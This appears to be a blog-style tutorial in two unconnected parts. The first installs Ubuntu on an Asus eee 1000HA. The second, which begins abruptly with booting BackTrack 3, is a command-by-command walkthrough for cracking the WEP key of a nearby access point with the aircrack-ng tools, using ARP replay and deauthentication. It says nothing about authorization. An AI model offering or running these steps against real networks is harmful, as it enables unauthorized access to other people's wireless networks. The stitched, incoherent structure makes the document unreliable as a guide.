Once UNetbootin finishes, open your USB drive and do the following:

Delete SYSLINUX.CFG:

rm SYSLINUX.CFG

Rename the ISOLINUX directory to SYSLINUX:

mv ISOLINUX SYSLINUX

Enter the SYSLINUX directory:

cd SYSLINUX

Rename ISOLINUX.CFG to SYSLINUX.CFG:

mv ISOLINUX.CFG SYSLINUX.CFG

Now you have a working Ubuntu Live Flash Drive!

Insert your new flash drive into one of the *right* USB ports of your Asus eee 1000HA. I say right because they have been a lot more reliable for me when booting from USB, but maybe that’s just me.

Boot up your eee and push esc when you see the boot screen. This should bring up the familiar Ubuntu Live screen where you can pick whether to start a Live session or go to the Installation. Installation is the obvious choice here. The Ubuntu Installation itself is past the scope of this wiki, but you can find help at ubuntu.com.

Once you have finished the installation you may notice that your wireless NIC is not yet recognized. Don’t worry, we are about to fix that, and a lot more.

First, setup the array.org repository in your apt sources:

wget http://www.array.org/ubuntu/array-intrepid.list (external link)
sudo mv -v array-intrepid.list /etc/apt/sources.list.d/

Be sure to install the key for the repository:

wget http://www.array.org/ubuntu/array-apt-key.asc (external link)
sudo apt-key add array-apt-key.asc

Update your apt-cache:

sudo apt-get update

Install the kernel:

sudo apt-get install linux-eeepc

Now reboot. When your computer restarts, make sure you are now using the correct kernel by pressing esc when the grub information is displayed and select the kernel that ends in “-eeepc”

Now remove the original kernel:

sudo apt-get remove linux-.*-generic

You are now the proud owner of an Ubuntu based eee!

After you have booted into BackTrack 3, we are ready for the fun part. The first thing we will do is shutdown our wifi card. In the terminal:

ifconfig ath0 down

Next we want to bring it back up, but in monitor mode:

airmon-ng start wifi0

You should see that a new interface called ath1 was created. That is the interface we are going to use for the rest of our cracking. Next:

airodump-ng ath1

This will list all of the wifi signals your card is picking up. There are two things you are going to want to write down: the BSSID and the Channel (CH), and also make sure the Encryption (ENC) is WEP. Or, if you don’t want to write thpre down, just open a new shell and leave that one open.

Now press

ctrl+c

to stop airodump-ng. Open a new console (if you haven’t already) and type:

airodump-ng --channel x --bssid y -w filename ath1

Where x and y are the channel and bssid that you wrote down, respectively, and filename is whatever you want the prefix of the output files to be. I usually set the filename to something along the lines of the router name, that way when I’m searching through my cracked WEP files I know whats what.

Now leave that running and open another shell. Type

ifconfig

next to

ath1

write down the first 6 sets of numbers in the long string next to HWaddr, replacing the dashes with colons (e.g. 00:11:22:33:44:55). That is your computer’s MAC address, whereas the bssid is the Access Point’s MAC address that you’re trying to hack.

Okay, now in the same window that you typed

ifconfig

, type:

aireplay-ng --arpreplay -b [Access Point's MAC] -h [Your MAC] ath1

Now leave that running and open yet another shell, and type:

aireplay-ng --deauth 5 -c [Your Mac] -a [Access Point's MAC] ath1

Now in that same window type:

aircrack-ng filename*.cap

Where filename is whatever you entered earlier. And there you go! You should now have the WEP key. Leave feedback in the comments. I would love to answer your questions if any arrise.
